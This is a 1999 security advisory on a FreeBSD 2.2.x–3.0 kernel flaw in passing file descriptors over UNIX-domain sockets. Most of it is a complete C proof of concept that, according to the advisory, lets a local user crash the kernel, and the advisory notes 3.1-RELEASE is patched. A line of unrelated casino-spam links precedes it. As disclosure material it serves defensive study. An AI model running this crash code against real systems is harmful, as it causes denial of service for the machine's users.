Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
9th May 1999 [SBWID-109]
COMMAND
	    kernel (sockets)
SYSTEMS AFFECTED
	    FreeBSD 2.2.2, 2.2.6, 2.2.8, 3.0
PROBLEM
	    Following is  based on  KKI Security  Team.   Problem was found by
	    Lukasz Luzar.  As you know, "The UNIX-domain protocol family" is a
	    collection  of   protocols  that   provides  local    interprocess
	    communication through  the normal  socket mechanism.   It supports
	    the SOCK_STREAM and SOCK_DGRAM  soceket types and uses  filesystem
	    pathnames for addressing."  The SOCK_STREAM sockets also  supports
	    the  communication  of  UNIX  file  descriptors through the use of
	    functions  sendmsg()  and  recvmsg().   While  testing UNIX-domain
	    protocols, KKI has found probable bug in FreeBSD's  implementation
	    of this  mechanism.   When ran  example below  on FreeBSD-3.0  and
	    prior as  local user,  system had  crashed imediatelly  with error
	    "Supervisor read, page not present" in kernel mode.
	
	    #include <stdio.h>
	    #include <sys/types.h>
	    #include <sys/socket.h>
	    #include <sys/un.h>
	    #include <fcntl.h>
	    #include <unistd.h>
	    #define PATH "/tmp/123"
	    #define PATH_TMP "/tmp/123.tmp"
	    #define SOME_FILE "/etc/passwd"
	    struct mycmsghdr {
		    struct cmsghdr hdr;
		    int     fd;
	    };
	    extern errno;
	    void server();
	    void client();
	    void main()
	    {
		    switch ( fork()) {
		    case -1:
			    printf( "fork error %d\n",errno);
			    break;
		    case 0:
			    for (;;) client();
		    default:
			    server();
		    }
	    }
	    void server()
	    {
		    struct sockaddr_un addr;
		    struct msghdr mymsghdr;
		    struct mycmsghdr ancdbuf;
		    char    data[ 1];
		    int     sockfd,
			    len,
			    fd;
		    if ( unlink( PATH) == -1)
			    printf( "unlink error %d\n",errno);
		    if (( sockfd = socket( AF_UNIX,SOCK_DGRAM,0)) == -1)
			    printf( "socket error %d\n",errno);
		    strcpy( addr.sun_path,PATH);
		    addr.sun_len = sizeof( addr.sun_len) + sizeof( addr.sun_family)
				    + strlen( addr.sun_path);
		    addr.sun_family = AF_UNIX;
		    if ( bind( sockfd,(struct sockaddr *) &addr,addr.sun_len) == -1)
			    printf( "bind error %d\n",errno);
		    for (;;) {
			    if (( fd = open( SOME_FILE,O_RDONLY)) == -1)
				    printf( "open file error %d\n",errno);
			    len = sizeof( addr.sun_path);
			    if ( recvfrom( sockfd,&data,sizeof( data),0,
				    (struct sockaddr *) &addr,&len) == -1)
				    printf( "recvfrom error %d\n",errno);
			    ancdbuf.hdr.cmsg_len = sizeof( ancdbuf);
			    ancdbuf.hdr.cmsg_level = SOL_SOCKET;
			    ancdbuf.hdr.cmsg_type = SCM_RIGHTS;
			    ancdbuf.fd = fd;
			    mymsghdr.msg_name = (caddr_t) &addr;
			    mymsghdr.msg_namelen = len;
			    mymsghdr.msg_iov = NULL;
			    mymsghdr.msg_iovlen = 0;
			    mymsghdr.msg_control = (caddr_t) &ancdbuf;
			    mymsghdr.msg_controllen = ancdbuf.hdr.cmsg_len;
			    mymsghdr.msg_flags = 0;
			    if ( sendmsg( sockfd,&mymsghdr,0) == -1)
				    printf( "sendmsg error %d\n",errno);
			    close( fd);
		    }
	    }
	    void client()
	    {
		    struct sockaddr_un      addr_s,
					    addr_c;
		    struct mycmsghdr        ancdbuf;
		    struct msghdr           mymsghdr;
		    char    data[ 1];
		    int     sockfd,
			    len,
			    fd;
		    if (( sockfd = socket( AF_UNIX,SOCK_DGRAM,0)) == -1)
			    printf( "socket error %d\n",errno);
		    if ( unlink( PATH_TMP) == -1)
			    printf( "unlink error %d\n",errno);
		    strcpy( addr_c.sun_path,PATH_TMP);
		    addr_c.sun_len = sizeof( addr_c.sun_len) + sizeof(addr_c.sun_family)
				      + strlen( addr_c.sun_path);
		    addr_c.sun_family = AF_UNIX;
		    strcpy( addr_s.sun_path,PATH);
		    addr_s.sun_len = sizeof( addr_s.sun_len) + sizeof(addr_s.sun_family)
				       + strlen( addr_s.sun_path);
		    addr_s.sun_family = AF_UNIX;
		    if ( bind( sockfd,(struct sockaddr*) &addr_c,addr_c.sun_len) == -1)
			    printf( "bind error %d\n",errno);
		    if ( sendto( sockfd,&data,sizeof( data),0,(struct sockaddr *) &addr_s,
			    addr_s.sun_len) == -1)
			    printf( "sendto error %d\n",errno);
		    len = addr_s.sun_len;
		    ancdbuf.hdr.cmsg_len = sizeof( ancdbuf);
		    ancdbuf.hdr.cmsg_level = SOL_SOCKET;
		    ancdbuf.hdr.cmsg_type = SCM_RIGHTS;
		    mymsghdr.msg_name = NULL;
		    mymsghdr.msg_namelen = 0;
		    mymsghdr.msg_iov = NULL;
		    mymsghdr.msg_iovlen = 0;
		    mymsghdr.msg_control = (caddr_t) &ancdbuf;
		    mymsghdr.msg_controllen = ancdbuf.hdr.cmsg_len;
		    mymsghdr.msg_flags = 0;
		    if ( recvmsg( sockfd,&mymsghdr,0) == -1)
			    printf( "recvmsg error %d\n",errno);
		    fd = ancdbuf.fd;
		    close(fd);
		    close( sockfd);
	    }
	
SOLUTION
	    Nothing yet.  3.1-RELEASE is patched.
	

Internet highlights